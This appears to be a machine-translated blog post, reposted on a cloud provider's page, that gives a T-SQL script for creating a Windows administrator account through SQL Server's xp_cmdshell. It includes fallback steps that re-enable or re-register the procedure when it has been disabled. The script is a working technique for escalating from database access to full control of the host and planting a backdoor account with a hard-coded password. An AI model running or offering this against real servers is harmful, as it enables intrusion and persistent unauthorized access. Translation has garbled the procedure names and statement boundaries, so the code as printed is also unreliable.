Use SQL server to add a system administrator account and an SQL System Administrator Account

Source: Internet
Author: User

Use SQL server to add a system administrator account and an SQL System Administrator Account

To add a system administrator account through SQL SERVER, you must have sufficient permissions to remotely connect to the database and execute the script as follows:

/* This code is run in the master database. Add the system administrator: mmcgzs password: 123qwe! @ # */Xp_mongoshell 'net user mmcgzs 123qwe! @ #/Add 'xp _ javasshell' net localgroup administrators mmcgzs/add'/* If the above is not good, use the following command to use the above */sp_configure 'show advanced options', 1reconfiguregosp_configure 'xp _ javasshell', 1 reconfigurego/* If the above is not good, use the following command to use the */sp_addextendedproc 'xp _ javasshell' and 'xp sql70. dll'

I hope the above information will be helpful to beginners. Thank you!
More follow Fu Yi Fang technology blog: http://blog.csdn.net/fuyifang
Or scan the QR code on your mobile phone to view more blog posts:

Copyright statement: This article is the original author of the blog, not allowed by the blog can not be reproduced, more attention to pay the technical blog: http://blog.csdn.net/fuyifang

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.